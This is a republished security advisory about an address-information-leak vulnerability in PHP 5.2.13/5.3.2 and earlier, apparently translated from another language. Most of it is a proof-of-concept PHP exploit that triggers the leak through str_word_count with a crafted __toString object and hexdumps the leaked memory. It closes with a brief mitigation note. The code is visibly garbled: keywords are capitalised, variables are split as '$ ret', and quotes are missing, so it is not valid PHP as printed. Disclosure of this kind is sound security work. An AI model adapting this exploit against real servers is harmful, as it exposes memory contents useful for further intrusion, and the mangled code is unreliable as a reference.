PHP multiple function interrupt handling address information leakage Vulnerability

Source: Internet
Author: User

Affected Versions:
PHP <= 5.3.2
PHP <= 5.2.13

Vulnerability description:

PHP is a widely used scripting language. It is especially suitable for Web development and can be embedded into HTML.

Str_pad () function, str_word_count () function, wordwrap () function, strtok () function, setcookie () function, strip_tags () function, strtr () function () function Information Leakage vulnerability <* Reference
Stefan Esser (s.esser@ematters.de)

Html> http://php-security.org/2010/05/26/mops-2010-046-php-str_pad-interruption-information-leak-vulnerability/index.html
*>
Test method:

The Program (method) provided on this site may be offensive and only used for security research and teaching. You are at your own risk! <? Php
Class charlist
{
Function _ toString ()
{
$ Ret =;
For ($ I = 0; $ I <= 255; $ I ++) $ ret. = chr ($ I );

/* Now the magic */
Parse_str ("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx = 1", $ GLOBALS [var]);
Return $ ret;
}
}

/* Detect 32 vs 64 bit */
$ I = 0x7fffffff;
$ I ++;
If (is_float ($ I )){
$ GLOBALS [var] = str_repeat ("A", 39 );
} Else {
$ GLOBALS [var] = str_repeat ("A", 67 );
}

/* Trigger the Code */
$ X = str_word_count (& $ GLOBALS [var], 1, new charlist ());
Hexdump ($ x );

/* Helper function */
Function hexdump ($ x)
{
$ L = strlen ($ x );
$ P = 0;

Echo "Hexdump ";
Echo "-------";

While ($ l> 16 ){
Echo sprintf ("% 08x:", $ p );
For ($ I = 0; $ I <16; $ I ++ ){
Echo sprintf ("% 02X", ord ($ x [$ p + $ I]);
}
Echo "";
For ($ I = 0; $ I <16; $ I ++ ){
$ C = ord ($ x [$ p + $ I]);
Echo ($ c <32 | $ c> 127 )? .: Chr ($ c );
}
$ L-= 16;
$ P + = 16;
Echo "";
}
If ($ l> 0)
Echo sprintf ("% 08x:", $ p );
For ($ I = 0; $ I <$ l; $ I ++ ){
Echo sprintf ("% 02X", ord ($ x [$ p + $ I]);
}
For ($ I = 0; $ I <16-$ l; $ I ++) {echo "--";}

Echo "";
For ($ I = 0; $ I <$ l; $ I ++ ){
$ C = ord ($ x [$ p + $ I]);
Echo ($ c <32 | $ c> 127 )? .: Chr ($ c );
}
Echo "";
}
?>

Security suggestions:
Temporary solution:

* Disable the call time pass by reference function.

Vendor patch:

PHP
---
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.php.net

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.